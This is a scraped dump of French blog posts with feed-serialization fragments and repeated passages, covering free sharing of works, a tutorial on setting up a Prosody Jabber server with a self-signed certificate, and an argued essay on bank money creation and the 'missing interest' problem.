Mais par ailleurs, l’objectif de l’économie, c’est de surmonter au mieux la rareté. C’est là que la justification économique devient absurde : il s’agirait de restaurer une certaine rareté dans le but de résoudre un problème économique, alors que le but de l’économie est de résoudre les problèmes que pose la rareté. Ce serait lutter contre l’objectif afin de conserver ce contre quoi on lutte.
En clair, l’économie ne peut pas être une justification en soi, en dernier ressort, car elle ne s’applique qu’à la rareté. Tout ce qui est surabondant, non-rival, devrait être hors-marché. Sinon, il faudrait interdire le soleil.
Bien sûr, je ne dis pas qu’il faut supprimer l’économie ; je dis juste qu’elle ne s’applique qu’aux domaines de rareté. Dans le cas limite où tout serait surabondant, n’appliquer l’économie qu’aux domaines de la rareté conduirait effectivement à la suppression totale de l’économie. Dans ce monde imaginaire, ce serait très logique : si chacun pouvait tout avoir sans effort, pourquoi restreindre l’accès aux biens en le conditionnant à une « rémunération » qui n’aurait alors aucun sens ? Tout le monde y serait perdant.
Toute la difficulté est de vivre dans un monde composé à la fois de rareté et d’abondance. Et beaucoup tentent de restaurer la rareté partout uniquement pour faire fonctionner l’économie. Quel paradoxe !
Ce billet a pour unique but de rejeter l’argument économique contre le partage sans but de profit, pas de conclure sur une solution définitive.
Selon moi, les solutions à envisager, quelles qu’elles soient, doivent respecter le principe que nous avons posé.
C’est le cas de la contribution créative (ou licence globale). Mais cette proposition amène quelques critiques (ici et là par exemple).
Pour ma part, vous le savez, je suis convaincu que le financement de la création est un cas particulier d’un problème plus général, dont (au moins une partie de) la solution est le dividende universel.
Posons comme principe que le partage d’œuvres sur Internet sans but de profit ne doit en aucune manière être restreint. Quelles justifications peuvent amener à le rejeter ?
Il n’y en a qu’une, elle est économique : permettre aux auteurs d’être rémunérés. Effectivement, une offre illimitée, accessible à tous (grâce au partage), et un coût marginal nul impliquent un prix nul. Il faudrait alors restaurer une certaine rareté afin de pouvoir vendre.
Mais par ailleurs, l’objectif de l’économie, c’est de surmonter au mieux la rareté. C’est là que la justification économique devient absurde : il s’agirait de restaurer une certaine rareté dans le but de résoudre un problème économique, alors que le but de l’économie est de résoudre les problèmes que pose la rareté. Ce serait lutter contre l’objectif afin de conserver ce contre quoi on lutte.
En clair, l’économie ne peut pas être une justification en soi, en dernier ressort, car elle ne s’applique qu’à la rareté. Tout ce qui est surabondant, non-rival, devrait être hors-marché. Sinon, il faudrait interdire le soleil.
Bien sûr, je ne dis pas qu’il faut supprimer l’économie ; je dis juste qu’elle ne s’applique qu’aux domaines de rareté. Dans le cas limite où tout serait surabondant, n’appliquer l’économie qu’aux domaines de la rareté conduirait effectivement à la suppression totale de l’économie. Dans ce monde imaginaire, ce serait très logique : si chacun pouvait tout avoir sans effort, pourquoi restreindre l’accès aux biens en le conditionnant à une “rémunération” qui n’aurait alors aucun sens ? Tout le monde y serait perdant.
Toute la difficulté est de vivre dans un monde composé à la fois de rareté et d’abondance. Et beaucoup tentent de restaurer la rareté partout uniquement pour faire fonctionner l’économie. Quel paradoxe !
Ce billet a pour unique but de rejeter l’argument économique contre le partage sans but de profit, pas de conclure sur une solution définitive.
Selon moi, les solutions à envisager, quelles qu’elles soient, doivent respecter le principe que nous avons posé.
C’est le cas de la contribution créative (ou licence globale). Mais cette proposition amène quelques critiques (ici et là par exemple).
Pour ma part, vous le savez, je suis convaincu que le financement de la création est un cas particulier d’un problème plus général, dont (au moins une partie de) la solution est le dividende universel.
J’ai enfin décidé d’héberger mon propre serveur Jabber, pour plusieurs raisons :
rom suivi de @rom1v.com).Et c’est simple !
Tout d’abord, installer le paquet prosody :
apt-get install prosody
Puis ajouter à la fin du fichier /etc/prosody/prosody.cfg.lua :
Host "nom.de.domaine"
Pour moi :
Host "rom1v.com"
Créer un utilisateur en ligne de commandes et choisir un mot de passe :
prosodyctl adduser user@nom.de.domaine
Un certificat TLS/SSL est créé par défaut, mais les champs sont renseignés avec des valeurs non pertinentes (localhost au lieu de nom.de.domaine par exemple). Il est donc préférable d’en générer un nouveau.
Dans le répertoire /etc/prosody/certs, exécuter :
openssl req -new -x509 -nodes -out nom.de.domaine.cert -keyout nom.de.domaine.key -days 1000
Renseigner les champs demandés (« . » pour laisser un champ vide).
Remplacer le certificat dans le fichier de configuration :
ssl = {
key = "/etc/prosody/certs/nom.de.domaine.key";
certificate = "/etc/prosody/certs/nom.de.domaine.cert";
}
Comme c’est un certificat auto-signé, les clients Jabber ne lui feront pas confiance : ils demanderont une confirmation, en présentant son empreinte. Il faudra alors vérifier que le certificat présenté est bien le bon, c’est-à-dire que l’empreinte est la même.
Pour la connaître :
openssl x509 -fingerprint -noout -in nom.de.domaine.cert
Par exemple :
$ openssl x509 -fingerprint -noout -in rom1v.com.cert SHA1 Fingerprint=C3:6D:9B:65:06:55:C4:84:B4:A5:8D:4B:12:68:2F:08:71:7E:AC:DD
Les ports TCP 5222 et 5269 doivent être ouverts.
Il ne reste plus qu’à démarrer le service.
service prosody start
Il est maintenant possible de se connecter en utilisant le nom d’utilisateur et le mot de passe créés :
Les données du serveur sont stockées dans /var/lib/prosody. Il est donc important de ne pas oublier ce répertoire dans le processus de sauvegarde.
Merci à Cyrille Borne et nicolargo.
";s:7:"dateiso";s:15:"20120106_231258";}s:15:"20120106_221258";a:7:{s:5:"title";s:48:"Héberger un serveur Jabber simplement (prosody)";s:4:"link";s:75:"http://blog.rom1v.com/2012/01/heberger-un-serveur-jabber-simplement-prosody";s:4:"guid";s:75:"http://blog.rom1v.com/2012/01/heberger-un-serveur-jabber-simplement-prosody";s:7:"pubDate";s:25:"2012-01-06T22:12:58+01:00";s:11:"description";s:0:"";s:7:"content";s:3940:"
J’ai enfin décidé d’héberger mon propre serveur Jabber, pour plusieurs raisons :
rom
suivi de @rom1v.com).Et c’est simple !
Tout d’abord, installer le paquet prosody :
apt-get install prosody
Puis ajouter à la fin du fichier /etc/prosody/prosody.cfg.lua :
Host "<em>nom.de.domaine</em>"
Pour moi :
Host "rom1v.com"
Créer un utilisateur en ligne de commande et choisir un mot de passe :
prosodyctl adduser utilisateur@nom.de.domaine
Un certificat TLS/SSL est créé par défaut, mais les champs sont renseignés
avec des valeurs non pertinentes (localhost au lieu de nom.de.domaine par
exemple). Il est donc préférable d’en générer un nouveau.
Dans le répertoire /etc/prosody/certs, exécuter :
openssl req -new -x509 -nodes -out nom.de.domaine.cert -keyout \
nom.de.domaine.key -days 1000
Renseigner les champs demandés (« . » pour laisser un champ vide).
Remplacer le certificat dans le fichier de configuration :
ssl = {
key = "/etc/prosody/certs/nom.de.domaine.key";
certificate = "/etc/prosody/certs/nom.de.domaine.cert";
}
Comme c’est un certificat auto-signé, les clients Jabber ne lui feront pas confiance : ils demanderont une confirmation, en présentant son empreinte. Il faudra alors vérifier que le certificat présenté est bien le bon, c’est-à-dire que l’empreinte est la même.
Pour la connaître :
openssl x509 -fingerprint -noout -in nom.de.domaine.cert
Par exemple :
$ openssl x509 -fingerprint -noout -in rom1v.com.cert
SHA1 Fingerprint=C3:6D:9B:65:06:55:C4:84:B4:A5:8D:4B:12:68:2F:08:71:7E:AC:DD
Les ports TCP 5222 et 5269 doivent être ouverts.
Il ne reste plus qu’à démarrer le service.
service prosody start
Il est maintenant possible de se connecter en utilisant le nom d’utilisateur et le mot de passe créés :

Les données du serveur sont stockées dans /var/lib/prosody. Il est donc
important de ne pas oublier ce répertoire dans le processus de
sauvegarde.
Merci à Cyrille Borne et nicolargo.
";s:7:"dateiso";s:15:"20120106_221258";}s:15:"20111203_152301";a:7:{s:5:"title";s:77:"Comprendre le mystère de l’argent et le problème des intérêts manquants";s:4:"link";s:101:"http://blog.rom1v.com/2011/12/comprendre-le-mystere-de-largent-et-le-probleme-des-interets-manquants/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=3410";s:7:"pubDate";s:31:"Sat, 03 Dec 2011 14:23:01 +0000";s:11:"description";s:366:"Peu avant 1940, Louis Even a écrit une célèbre robinsonade pour comprendre le mystère de l’argent : L’île des naufragés. Si vous ne la connaissez pas encore, je vous conseille de la lire avant de poursuivre. À cette époque, la monnaie était basée sur l’or, mais ça ne change pas fondamentalement le problème. Ses écrits sont [...]";s:7:"content";s:46290:"Peu avant 1940, Louis Even a écrit une célèbre robinsonade pour comprendre le mystère de l’argent : L’île des naufragés.
Si vous ne la connaissez pas encore, je vous conseille de la lire avant de poursuivre. À cette époque, la monnaie était basée sur l’or, mais ça ne change pas fondamentalement le problème. Ses écrits sont parfois très imprégnés de religion, aussi faut-il faire preuve de discernement.
Cette fable met en évidence l’injustice du système monétaire, dans lequel l’argent est créé par le crédit (j’en ai déjà parlé).
Commençons par un petit rappel, grâce à un résumé du fonctionnement de la création monétaire :
3. La création de monnaie en échange d’une promesse
Comment se créent alors les plus de 90 % restants de monnaie qui circulent sur la planète ?
Cette part de monnaie est créée par un mécanisme peu connu et étonnant : par le simple fait que vous signiez une demande de prêt à la banque, vous reconnaissez que vous rembourserez cette somme (ou qu’à défaut vous serez saisis sur vos biens pour un montant équivalent à cette valeur). Les banques créent alors purement et simplement cette somme par une simple opération d’écriture, et elles le déposent sur votre compte. Cet argent est ensuite détruit au fur et à mesure du remboursement de la dette. L’argent créé est qualifié de monnaie scripturale : de l’argent créé par un jeu d’écriture…
Plus de 90 % de l’argent disponible sur la planète est ainsi constitué des dettes en cours auprès des banques. Les banques maîtrisent donc plus de 90 % des moyens de paiement qui permettent les échanges entre les hommes.
Pour un peu plus de détails : La création monétaire pour les nuls (pdf).

Revenons à notre île des naufragés.
Cet extrait d’un texte de James Crate Larkin résume bien un élément important de la thèse de l’auteur :
La dette ne peut jamais s’éteindre sous un tel système, parce que tout argent mis en circulation l’est par des prêts bancaires et que l’emprunteur doit rembourser plus que le montant reçu. Il doit rembourser le principal, créé par le banquier, plus l’intérêt créé par personne ! … Le procédé est cumulatif — la dette grossit toujours, parce que, pour payer l’intérêt, il faut nécessairement quelque part une nouvelle alimentation de monnaie, et cette nouvelle émission est elle-même porteuse d’intérêt. Comment la dette serait-elle remboursable ?
C’est le problème des « intérêts manquants » : si seul l’argent correspondant au principal est créé, comment rembourser les intérêts ? Cet argument, s’il est vrai, ne dénonce pas seulement une injustice, il met en évidence une parfaite impossibilité : il n’existe aucun moyen pour la population de rembourser toutes ses dettes envers la banque, puisqu’il n’y a pas assez d’argent en circulation.
Cependant, certains critiquent la fable et prétendent en fournir une réfutation, dont l’argument central peut se formuler ainsi : il existe au moins un moyen pour la population de rembourser toutes ses dettes envers la banque, il faut considérer que le banquier va dépenser les intérêts dans l’économie.
Et sur ce point, ils ont raison. Il est possible de trouver une suite d’échanges entre les individus permettant à la population de rembourser toutes ses dettes : la banque peut dépenser les intérêts perçus au fur et à mesure, permettant ainsi à la population de les regagner.
Voici un exemple avec 3 individus :
Au départ, tous les comptes sont à zéro.
| Individu | Compte | Dettes | Produits |
|---|---|---|---|
| B | 0 | ||
| X | 0 |
|
|
| Y | 0 |
|
X souhaite acheter des pommes à Y, pour un montant de 5.
Il emprunte donc 5 à B, qui les crée, pour une période donnée (plusieurs années). B demandera des intérêts, disons 40%. En tout, X devra donc rembourser 7.
| Individu | Compte | Dettes | Produits |
|---|---|---|---|
| B | 0 |
|
|
| X | 5 |
|
|
| Y | 0 |
|
X peut maintenant acheter des pommes à Y.
| Individu | Compte | Dettes | Produits |
|---|---|---|---|
| B | 0 |
|
|
| X | 0 |
|
|
| Y | 5 |
|
Nous nous rendons bien compte ici que la monnaie n’est qu’une dette de banque qui circule.
Y décide d’acheter des baguettes à X, pour un montant de 5.
| Individu | Compte | Dettes | Produits |
|---|---|---|---|
| B | 0 |
|
|
| X | 5 |
|
|
| Y | 0 |
|
Les comptes se retrouvent exactement dans la même situation qu’à l’étape 1.
X rembourse les intérêts à B, d’un montant de 2.
| Individu | Compte | Dettes | Produits |
|---|---|---|---|
| B | 2 |
|
|
| X | 3 |
|
|
| Y | 0 |
|
B achète des baguettes à X pour un montant de 2 (il dépense les intérêts dans l’économie).
| Individu | Compte | Dettes | Produits |
|---|---|---|---|
| B | 0 |
|
|
| X | 5 |
|
|
| Y | 0 |
|
X rembourse sa dette à B.
| Individu | Compte | Dettes | Produits |
|---|---|---|---|
| B | 0 |
|
|
| X | 0 |
|
|
| Y | 0 |
|
Voilà, tout est remboursé. CQFD, Louis Even racontait n’importe quoi, sa fable n’est que pure manipulation. Circulez, y’a rien à voir.
Attendez, pas si vite ! Tout au plus, nous pouvons en déduire que le récit est incomplet, car il n’a traité que le cas où les intérêts n’étaient pas dépensés dans l’économie. Traitons donc la partie manquante, quand les intérêts sont dépensés.
Remarquons avant tout que si seulement une partie des intérêts est dépensée, nous sommes confrontés exactement au même problème (il manquera juste un peu moins d’argent pour rembourser, mais il en manquera). Seule l’hypothèse où 100% des intérêts sont dépensés pourrait donc permettre, éventuellement, la pénurie de monnaie. Et si effectivement nous pouvions éviter cette pénurie, le système serait-il juste ?
Dans l’exemple détaillé où tout a été remboursé, qui a produit quoi et qui a consommé quoi ?
B a gagné des intérêts sur de l’argent qu’il a créé ex nihilo, sans aucun travail, qu’il a pu ensuite dépenser dans l’économie.
James Crate Larkin écrivait :
Ce paiement d’intérêt, par la société, au système bancaire, sur de la monnaie nouvellement créée et qui ne coûte rien, n’est pas du tout semblable ni comparable à l’intérêt qu’un prêteur ordinaire exige sur de l’argent déjà en existence, qu’il a gagné, épargné et prêté à l’industrie.
Si je dis uniquement cela, vous allez tout de suite me rétorquer que j’ai oublié de prendre en compte le service qu’a fourni le banquier : B a rendu service à X pour une valeur de 2, et X a « consommé » le service de la dette. Le banquier fournit un service, et comme tout service, il est normal qu’il le fasse payer.
Mais cet argument ne tient pas.
D’abord, le service fourni n’est pas un service comme un autre : le banquier demande, en échange de quelque chose, ce même quelque chose en quantité plus importante, alors que lui seul a le droit de créer ce quelque chose. Cela n’implique pas strictement, nous l’avons vu, que le remboursement sera impossible (en pratique, il le sera, nous le verrons), mais cela en fait à l’évidence un service singulier.
Ensuite, remarquons que la banque perçoit un pourcentage sur toute la monnaie en circulation. Modifions l’exemple précédent pour qu’il y ait un banquier, 1 million de X et 1 million de Y. Dans ce nouvel exemple, regardons ce qu’il se passe :
Le déséquilibre est flagrant. Il n’est pas défendable que le banquier puisse (et doive) récupérer, à son profit, un pourcentage de toutes les richesses créées. Un tel gain ne peut raisonnablement pas correspondre au service fourni.
Vous me répondrez qu’en réalité, tout n’est pas pour la banque : elle doit par exemple verser des intérêts à ses clients. Mais d’une part, les intérêts qu’elle perçoit (sur de l’argent créé !) sont supérieurs aux intérêts que perçoivent les clients (sur de l’argent gagné) ; l’argument reste donc le même avec simplement un pourcentage moins important. Et d’autre part, nous pouvons appliquer le raisonnement sur l’ensemble constitué des banques et des personnes les plus riches (les fameux 1%), qui sont évidemment les principaux bénéficiaires de ces intérêts.
Vous me ferez peut-être également remarquer que la banque verse des salaires. Oui. Les autres entreprises aussi.
En plus de cela, le banquier profite d’une déflation.
Pour le comprendre, reprenons l’exemple détaillé ci-dessus, et considérons à chaque étape non seulement la masse monétaire dans son ensemble, mais également l’argent qui circule au sein de la population (entre X et Y).
| Étape | Qté en circulation | Qté entre X et Y | Commentaire |
|---|---|---|---|
| 0 | 0 | 0 | |
| 1 | 5 | 5 | |
| 2 | 5 | 5 | |
| 3 | 5 | 5 | |
| 4 | 5 | 3 | Déflation locale, les prix ont tendance à baisser. C’est à ce moment que le banquier achète à X. |
| 5 | 5 | 5 | Une fois l’argent réinjecté dans l’économie, les prix ont tendance à réaugmenter. Ce qu’a acheté le banquier retrouve donc sa valeur. |
Il faut bien avoir à l’esprit que la déflation se produit au fur et à mesure du remboursement des intérêts au banquier, sur une longue période, et non brutalement comme l’exemple pourrait le laisser penser.
Le banquier peut racheter les actifs de X et Y à bas prix, puisqu’ils ont baissé suite à la déflation. Cette réinjection de monnaie fera augmenter le prix de ces mêmes actifs en proportion mais ils auront changé de main de façon forcée (vers le banquier).
Merci à Galuel pour cette explication.
Nous avons vu qu’il était nécessaire que 100% des intérêts soient dépensés dans l’économie pour éviter la pénurie d’argent. Remarquons que rien ne montre que cette hypothèse, fût-elle injuste, serait suffisante.
Mais est-elle seulement vérifiée dans la réalité ? Car la simple possibilité théorique de cette situation idéalisée ne peut suffire à prétendre qu’elle serait vérifiée en pratique.
Nous pouvons même nous convaincre du contraire.
Les prêts que nous avons considérés jusqu’à présent sont ceux effectués par le système bancaire, qui sont les seuls créateurs de monnaie. Mais l’argent ainsi créé peut être reprêté par quelqu’un à quelqu’un d’autre, avec intérêts. Dans ce cas, cet argent sera grevé de 2 intérêts.
Supposons que la banque promette de dépenser 100% des intérêts dans l’économie, et qu’une personne, libre de toutes dettes, possède de l’argent en excès. Elle va pouvoir le prêter (ou l’investir) perpétuellement pour percevoir perpétuellement des intérêts. Tout dépenser dans l’économie ne serait pas à son avantage, car cela représente pour elle une source intarissable de revenus. Ses emprunteurs, pour lui payer les intérêts, devront nécessairement récupérer de l’argent dans le stock disponible… qui n’en contient pas assez pour rembouser le prêt principal et le prêt secondaire avec intérêts. Dans ce cas, il est inévitable de rembourser les anciens prêts avec… de nouveaux prêts plus importants.
Plus généralement, ceux qui ont de l’argent s’attendent à percevoir un intérêt dessus. L’investissement peut créer de nouvelles richesses réelles, mais seules de nouvelles dettes peuvent créer plus d’argent. Donc toute attente de profits, à partir de l’argent investi ou de prêts, crée de la demande pour plus d’argent, qui peut être :
C’est ce qu’a expliqué Paul Grignon en réponse aux critiques contre sa fameuse vidéo L’argent dette, qui l’ont poussé à publier L’argent dette 2 : promesses chimériques.
Mais avant de rentrer dans tous ces détails, peut-être aurait-il simplement fallu questionner, sur le principe, la légitimité d’un tel système.
L’argent est créé par le crédit. Donc la société est forcément endettée (sinon, il n’y aurait pas d’argent). Ce qui implique qu’elle devra perpétuellement payer des intérêts aux banques, des acteurs privés.
Ceci est d’autant plus étonnant que c’est la population, dans son ensemble, qui produit les richesses. La banque ne fait que créer l’argent permettant de les échanger. Ce sont donc ceux qui produisent les richesses qui sont endettés envers ceux qui créent l’argent.
Louis Even l’expliquait très bien :
Soulignons aussi un point frappant: C’est la production qui donne de la valeur à l’argent. Une pile d’argent, sans produits pour y répondre, ne fait pas vivre. Or, ce sont les cultivateurs, les industriels, les ouvriers, les professionnels, le pays organisé, qui font les produits, marchandises ou services. Mais ce sont les banquiers qui font l’argent basé sur ces produits. Et cet argent, qui tire sa valeur des produits, les banquiers se l’approprient et le prêtent à ceux qui font les produits. C’est un vol légalisé.
Maurice Allais, prix Nobel d’économie, écrivait même :
Dans son essence, la création monétaire ex nihilo actuelle par le système bancaire est identique, je n’hésite pas à le dire pour bien faire comprendre ce qui est réellement en cause, à la création de monnaie par des faux-monnayeurs, si justement condamnée par la loi. Concrètement elle aboutit aux mêmes résultats. La seule différence est que ceux qui en profitent sont différents.
Le texte est accessible ici.
Ne vous paraît-il pas étonnant qu’il faille toujours travailler plus (au point de réformer les retraites), alors que nous avons considérablement amélioré notre productivité ces dernières décennies ? Et la crise viendrait d’un manque de travail, d’un manque de production, vraiment ?
La véritable raison, ce n’est pas que nous manquons de richesses réelles. Nous ne devons pas lutter contre une rareté de produits dont nous avons besoin, mais contre la rareté de l’argent permettant d’accéder à ces produits. Et la rareté de cet argent dépend du crédit, qui dépend de la croissance.
En clair : sans croissance, nous avons (toujours) une abondance de produits, mais une pénurie de monnaie pour y accéder. Grâce à la croissance, nous limitons temporairement la pénurie de monnaie.
C’est la raison pour laquelle nous devons toujours produire (et consommer) plus. Ce qui, d’ailleurs, amplifie le problème :
A mesure que le pays se développe, en production comme en population, il faut plus d’argent. Or on ne peut avoir d’argent nouveau qu’en s’endettant d’une dette collectivement impayable.
Il reste donc le choix entre arrêter le développement ou s’endetter; entre chômer ou contracter des emprunts impayables. C’est entre ces deux choses-là qu’on se débat justement dans tous les pays.
Dans un récent discours, Naomi Klein dénonçait cette pénurie artificielle (citation rapportée par Zoupic) :
Nous savons tous, ou du moins nous sentons que le monde est à l’envers : nous agissons comme s’il n’y avait pas de limites à ce qui, en réalité, n’est pas renouvelable – les combustibles fossiles et l’espace atmosphérique pour absorber leurs émissions. Et nous agissons comme s’il y avait des limites strictes et inflexibles à ce qui, en réalité, est abondant – les ressources financières pour construire la société dont nous avons besoin.
Si nous sommes endettés, ce n’est donc pas parce que nous vivons au-dessus de nos moyens, comme nous pouvons l’entendre parfois, mais bien parce que le système monétaire entraîne inévitablement l’endettement.
Cela rejoint un point de l’argumentaire de MrQuelquesMinutes, à propos de sa vidéo sur la dette publique :
B-2) L’État doit emprunter aux marchés financiers pour fonctionner, cela veut-il dire que l’État utilise l’argent qu’il n’a pas ? Et que l’État vit donc « au dessus de ses moyens » ?
Si l’on poursuit ce raisonnement, alors toute la société vit au dessus de ses moyens puisque toute la monnaie qu’elle utilise provient à l’origine du crédit bancaire. Pourtant, cela n’a pas de sens de dire cela, puisque c’est la société elle même qui produit les biens et les services qu’elle utilise.
Qu’une nation ou qu’un État s’endette dans un système monétaire où la monnaie est créé uniquement par le crédit, ne veut pas dire qu’il « vit au dessus des ses moyens », mais que ce système monétaire, de part sa nature, provoque l’endettement généralisé de cette nation ou de cet État.
La possibilité très théorique que la société soit capable de rembourser ses dettes (afin qu’elles n’augmentent pas perpétuellement) ne remet nullement en cause les critiques fondamentales que porte Louis Even (et bien d’autres) sur le fonctionnement de la création monétaire, manifestement injuste.
Un système où la pénurie de monnaie est quasiment garantie, et où les richesses sont redistribuées massivement de la population vers les banques, n’est pas acceptable. Ne devons donc le corriger. Comment ?
La première étape est de comprendre comment fonctionne le système actuel, pour envisager plusieurs réponses. L’une d’elles est le 100% monnaie.
Personnellement, je suis convaincu que la meilleure est le dividende universel, pour plusieurs raisons (et beaucoup d’autres).
À vous de vous forger votre avis…
";s:7:"dateiso";s:15:"20111203_152301";}s:15:"20111203_142301";a:7:{s:5:"title";s:75:"Comprendre le mystère de l'argent et le problème des intérêts manquants";s:4:"link";s:100:"http://blog.rom1v.com/2011/12/comprendre-le-mystere-de-largent-et-le-probleme-des-interets-manquants";s:4:"guid";s:100:"http://blog.rom1v.com/2011/12/comprendre-le-mystere-de-largent-et-le-probleme-des-interets-manquants";s:7:"pubDate";s:25:"2011-12-03T14:23:01+01:00";s:11:"description";s:0:"";s:7:"content";s:35353:"Peu avant 1940, Louis Even a écrit une célèbre robinsonade pour comprendre le mystère de l’argent : L’île des naufragés.
Si vous ne la connaissez pas encore, je vous conseille de la lire avant de poursuivre. À cette époque, la monnaie était basée sur l’or, mais ça ne change pas fondamentalement le problème. Ses écrits sont parfois très imprégnés de religion, aussi faut-il faire preuve de discernement.
Cette fable met en évidence l’injustice du système monétaire, dans lequel l’argent est créé par le crédit (j’en ai déjà parlé).
Commençons par un petit rappel, grâce à un résumé du fonctionnement de la création monétaire :
3. La création de monnaie en échange d’une promesse
Comment se créent alors les plus de 90 % restants de monnaie qui circulent sur la planète ?
Cette part de monnaie est créée par un mécanisme peu connu et étonnant : par le simple fait que vous signiez une demande de prêt à la banque, vous reconnaissez que vous rembourserez cette somme (ou qu’à défaut vous serez saisis sur vos biens pour un montant équivalent à cette valeur). Les banques créent alors purement et simplement cette somme par une simple opération d’écriture, et elles le déposent sur votre compte. Cet argent est ensuite détruit au fur et à mesure du remboursement de la dette. L’argent créé est qualifié de monnaie scripturale : de l’argent créé par un jeu d’écriture…
Plus de 90 % de l’argent disponible sur la planète est ainsi constitué des dettes en cours auprès des banques. Les banques maîtrisent donc plus de 90 % des moyens de paiement qui permettent les échanges entre les hommes.
Pour un peu plus de détails : La création monétaire pour les nuls (pdf).
Revenons à notre île des naufragés.
Cet extrait d’un texte de James Crate Larkin résume bien un élément important de la thèse de l’auteur :
La dette ne peut jamais s’éteindre sous un tel système, parce que tout argent mis en circulation l’est par des prêts bancaires et que l’emprunteur doit rembourser plus que le montant reçu. Il doit rembourser le principal, créé par le banquier, plus l’intérêt créé par personne ! … Le procédé est cumulatif — la dette grossit toujours, parce que, pour payer l’intérêt, il faut nécessairement quelque part une nouvelle alimentation de monnaie, et cette nouvelle émission est elle-même porteuse d’intérêt. Comment la dette serait-elle remboursable ?
C’est le problème des intérêts manquants : si seul l’argent correspondant au principal est créé, comment rembourser les intérêts ? Cet argument, s’il est valide, ne dénonce pas seulement une injustice, il met en évidence une parfaite impossibilité : il n’existe aucun moyen pour la population de rembourser toutes ses dettes envers la banque, puisqu’il n’y a pas assez d’argent en circulation.
Cependant, certains critiquent la fable et prétendent en fournir une réfutation, dont l’argument central peut se formuler ainsi : il existe au moins un moyen pour la population de rembourser toutes ses dettes envers la banque, il faut considérer que le banquier va dépenser les intérêts dans l’économie.
Et sur ce point, ils ont raison. Il est possible de trouver une suite d’échanges entre les individus permettant à la population de rembourser toutes ses dettes : la banque peut dépenser les intérêts perçus au fur et à mesure, permettant ainsi à la population de les regagner.
Voici un exemple avec 3 individus :
Au départ, tous les comptes sont à zéro.
| individu | compte | dettes | produits |
|---|---|---|---|
| B | 0 | ||
| X | 0 | ![]() |
|
| Y | 0 | ![]() |
X souhaite acheter des pommes à Y, pour un montant de 5.
Il emprunte donc 5 à B, qui les crée, pour une période donnée (plusieurs années). B demandera des intérêts, disons 40%. En tout, X devra donc rembourser 7.
| individu | compte | dettes | produits |
|---|---|---|---|
| B | 0 | X me doit 5 je dois 5 à X X me doit 2 (intérêts) |
|
| X | 5 | B me doit 5 je dois 5 à B je dois 2 à B (intérêts) |
![]() |
| Y | 0 | ![]() |
X peut maintenant acheter des pommes à Y.
| individu | compte | dettes | produits |
|---|---|---|---|
| B | 0 | X me doit 5 je dois 5 à Y X me doit 2 (intérêts) |
|
| X | 0 | je dois 5 à B je dois 2 à B (intérêts) |
![]() |
| Y | 5 | B me doit 5 |
Nous nous rendons bien compte ici que la monnaie n’est qu’une dette de banque qui circule.
Y décide d’acheter des baguettes à X, pour un montant de 5.
| individu | compte | dettes | produits |
|---|---|---|---|
| B | 0 | X me doit 5 je dois 5 à X X me doit 2 (intérêts) |
|
| X | 5 | B me doit 5 je dois 5 à B je dois 2 à B (intérêts) |
![]() |
| Y | 0 | ![]() |
Les comptes se retrouvent exactement dans la même situation qu’à l’étape 1.
X rembourse les intérêts à B, d’un montant de 2.
| individu | compte | dettes | produits |
|---|---|---|---|
| B | 2 | X me doit 5 je dois 3 à X |
|
| X | 3 | B me doit 3 je dois 5 à B |
![]() |
| Y | 0 | ![]() |
B achète des baguettes à X pour un montant de 2 (il dépense les intérêts dans l’économie).
| individu | compte | dettes | produits |
|---|---|---|---|
| B | 0 | X me doit 5 je dois 5 à X |
![]() |
| X | 5 | B me doit 5 je dois 5 à B |
![]() |
| Y | 0 | ![]() |
X rembourse sa dette à B.
| individu | compte | dettes | produits |
|---|---|---|---|
| B | 0 | ![]() |
|
| X | 0 | ![]() |
|
| Y | 0 | ![]() |
Voilà, tout est remboursé. CQFD, Louis Even racontait n’importe quoi, sa fable n’est que pure manipulation. Circulez, y’a rien à voir.
Attendez, pas si vite ! Tout au plus, nous pouvons en déduire que le récit est incomplet, car il n’a traité que le cas où les intérêts n’étaient pas dépensés dans l’économie. Traitons donc la partie manquante, quand les intérêts sont dépensés.
Remarquons avant tout que si seulement une partie des intérêts est dépensée, nous sommes confrontés exactement au même problème (il manquera juste un peu moins d’argent pour rembourser, mais il en manquera). Seule l’hypothèse où 100% des intérêts sont dépensés pourrait donc permettre, éventuellement, la pénurie de monnaie. Et si effectivement nous pouvions éviter cette pénurie, le système serait-il juste ?
Dans l’exemple détaillé où tout a été remboursé, qui a produit quoi et qui a consommé quoi ?
**B a gagné des intérêts sur de l’argent qu’il a créé ex nihilo, sans aucun travail, qu’il a pu ensuite dépenser dans l’économie.
James Crate Larkin écrivait :
Ce paiement d’intérêt, par la société, au système bancaire, sur de la monnaie nouvellement créée et qui ne coûte rien, n’est pas du tout semblable ni comparable à l’intérêt qu’un prêteur ordinaire exige sur de l’argent déjà en existence, qu’il a gagné, épargné et prêté à l’industrie.
Si je dis uniquement cela, vous allez tout de suite me rétorquer que j’ai oublié de prendre en compte le service qu’a fourni le banquier : B a rendu service à X pour une valeur de 2, et X a “consommé” le service de la dette. Le banquier fournit un service, et comme tout service, il est normal qu’il le fasse payer.
Mais cet argument ne tient pas.
D’abord, le service fourni n’est pas un service comme un autre : le banquier demande, en échange de quelque chose, ce même quelque chose en quantité plus importante, alors que lui seul a le droit de créer ce quelque chose. Cela n’implique pas strictement, nous l’avons vu, que le remboursement sera impossible (en pratique, il le sera, nous le verrons), mais cela en fait à l’évidence un service singulier.
Ensuite, remarquons que la banque perçoit un pourcentage sur toute la monnaie en circulation. Modifions l’exemple précédent pour qu’il y ait un banquier, 1 million de X et 1 million de Y. Dans ce nouvel exemple, regardons ce qu’il se passe :
Le déséquilibre est flagrant. Il n’est pas défendable que le banquier puisse (et doive) récupérer, à son profit, un pourcentage de toutes les richesses créées. Un tel gain ne peut raisonnablement pas correspondre au service fourni.
Vous me répondrez qu’en réalité, tout n’est pas pour la banque : elle doit par exemple verser des intérêts à ses clients. Mais d’une part, les intérêts qu’elle perçoit (sur de l’argent créé !) sont supérieurs aux intérêts que perçoivent les clients (sur de l’argent gagné) ; l’argument reste donc le même avec simplement un pourcentage moins important. Et d’autre part, nous pouvons appliquer le raisonnement sur l’ensemble constitué des banques et des personnes les plus riches (les fameux 1%), qui sont évidemment les principaux bénéficiaires de ces intérêts. Vous me ferez peut-être également remarquer que la banque verse des salaires. Oui. Les autres entreprises aussi.
En plus de cela, le banquier profite d’une déflation.
Pour le comprendre, reprenons l’exemple détaillé ci-dessus, et considérons à chaque étape non seulement la masse monétaire dans son ensemble, mais également l’argent qui circule au sein de la population (entre X et Y).
| Étape | Qté en circulation | Qté entre X et Y | Commentaire |
|---|---|---|---|
| 0 | 0 | 0 | |
